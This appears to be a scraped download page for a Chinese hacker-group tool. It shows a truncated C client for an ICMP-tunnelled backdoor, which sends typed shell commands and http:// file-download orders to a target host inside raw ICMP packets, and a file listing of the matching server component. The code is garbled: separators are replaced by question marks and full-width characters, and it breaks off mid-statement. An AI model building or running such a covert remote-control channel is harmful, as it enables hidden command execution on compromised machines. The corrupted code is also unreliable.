#include?
#include?
#include??

#pragma?comment（lib“ws2_32.lib“）

char?SendMsg[256];

/*?The?IP?header?*/
typedef?struct?iphdr?{
unsigned?int?h_len:4;?//4位首部長度
unsigned?int?version:4;?//IP版本號，4表示IPV4
unsigned?char?tos;?//8位服務類型TOS
unsigned?short?total_len;?//16位總長度（字節）
unsigned?short?ident;?//16位標識
unsigned?short?frag_and_flags;?//3位標志位
unsigned?char?ttl;?//8位生存時間?TTL
unsigned?char?proto;?//8位協議?（TCP?UDP?或其他）
unsigned?short?checksum;?//16位IP首部校驗和
unsigned?int?sourceIP;?//32位源IP地址
unsigned?int?destIP;?//32位目的IP地址
}IpHeader;




typedef?struct?_ihdr
{
BYTE?i_type;//8位類型
BYTE?i_code;?//8位代碼
USHORT?i_cksum;//16位校驗和
USHORT?i_id;//識別號（一般用進程號作為識別號）
USHORT?i_seq;//報文序列號
ULONG?timestamp;//時間截
}?IcmpHeader;

#define?STATUS_FAILED?0xFFFF
??
#define?MAX_PACKET?2000
char?arg[1450];

#define?xmalloc（s）?HeapAlloc（GetProcessHeap（）?HEAP_ZERO_MEMORY?（s））


void?fill_icmp_data（char?*?int）;
USHORT?checksum（USHORT?*?int）;

void?decode_resp（char?*int?struct?sockaddr_in?*）;//ICMP解包函數
void?help（void）;
void?usage（char?*?prog）;

int?main（int?argc?char?*argv[]）
{
char?*ICMP_DEST_IP;?//目標主機的IP
char?*recvbuf;

if（argc!=2）
	{
		usage（argv[0]）;
		return?0;
	}

ICMP_DEST_IP=argv[1];//取得目標主機IP
WSADATA?wsaData;
SOCKET?sockRaw;
struct?sockaddr_in?destfrom;
int?datasize;
int?fromlen=sizeof（from）;

char?*icmp_data;




if（WSAStartup（MAKEWORD（2?2）?&wsaData）?!=?0）
{
fprintf（stderr?“WSAStartup?failed:?%d\n“?GetLastError（））;
ExitProcess（STATUS_FAILED）;
}
sockRaw=socket（AF_INET?SOCK_RAW?IPPROTO_ICMP）;
int?timeout=1000;
setsockopt（sockRaw?SOL_SOCKET?SO_SNDTIMEO?（char?*）?&timeout?sizeof（timeout））;
timeout=4000;
setsockopt（sockRaw?SOL_SOCKET?SO_RCVTIMEO?（char?*）?&timeout?sizeof（timeout））;
memset（&dest0sizeof（dest））;
dest.sin_addr.s_addr=inet_addr（ICMP_DEST_IP）;
dest.sin_family=AF_INET;

usage（argv[0]）;
__try{
for（;;）{

printf（“ICMP-CMD>“）;
fgets（SendMsg1024stdin）;//取得命令行，保存在SendMsg數組中

if（!strcmp（SendMsg“Q\n“）||!strcmp（SendMsg“q\n“））ExitProcess（0）;
if（!strcmp（SendMsg“\n“））continue;
if（!strcmp（SendMsg“H\n“）||!strcmp（SendMsg“h\n“））{help（）;continue;}
if（!memcmp（SendMsg“http://“7））
if（!strstr（SendMsg“-“））{printf（“\nFileName?Error.?Use?\“-FileName\“\n“）;continue;}

datasize=strlen（SendMsg）;
datasize+=sizeof（IcmpHeader）;
printf（“ICMP?packet?size?is?%d“datasize）;
icmp_data=?（char*）xmalloc（MAX_PACKET）;
recvbuf=?（char?*）xmalloc（MAX_PACKET）;
memset（icmp_data0?MAX_PACKET）;
fill_icmp_data（icmp_data?datasize）;
（（IcmpHeader?*）icmp_data）->i_cksum=0;
（（IcmpHeader?*）icmp_data）->i_cksum=checksum（（USHORT?*）icmp_data?datasize）;

int?bwrote=sendto（sockRaw?icmp_data?datasize?0?（struct?sockaddr?*）?&dest?sizeof（dest））;

if?（bwrote?==?SOCKET_ERROR）
{
if?（WSAGetLastError（）?==?WSAETIMEDOUT）?printf（“Timed?out\n“）;
fprintf（stderr“sendto?failed:?%d\n“WSAGetLastError（））;

}

??if?（bwrote

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----

?????文件???????1059??2007-04-06?20:48??使用說明.txt

?????文件???????5745??2003-08-17?15:21??client\icmpsend.cpp

?????文件???????2007??2003-08-17?15:02??client\icmpsend.dsp

?????文件????????541??2003-08-17?15:02??client\icmpsend.dsw

?????文件??????41984??2003-08-17?15:21??client\icmpsend.ncb

?????文件??????48640??2003-08-17?15:21??client\icmpsend.opt

?????文件????????870??2003-08-17?15:21??client\icmpsend.plg

?????文件??????19060??2003-08-17?15:23??server\icmpsrv.cpp

?????文件???????1999??2003-08-17?15:05??server\icmpsrv.dsp

?????文件????????539??2003-08-17?15:05??server\icmpsrv.dsw

?????文件??????27648??2004-06-30?22:17??server\icmpsrv.ncb

?????文件??????48640??2003-08-17?15:23??server\icmpsrv.opt

?????文件????????862??2003-08-17?15:23??server\icmpsrv.plg

?????文件???????1128??1999-09-29?00:13??server\StdAfx.h

?????文件???????1716??2007-02-28?11:16??華西黑客聯盟.htm

-----------?---------??----------?-----??----

???????????????202438????????????????????15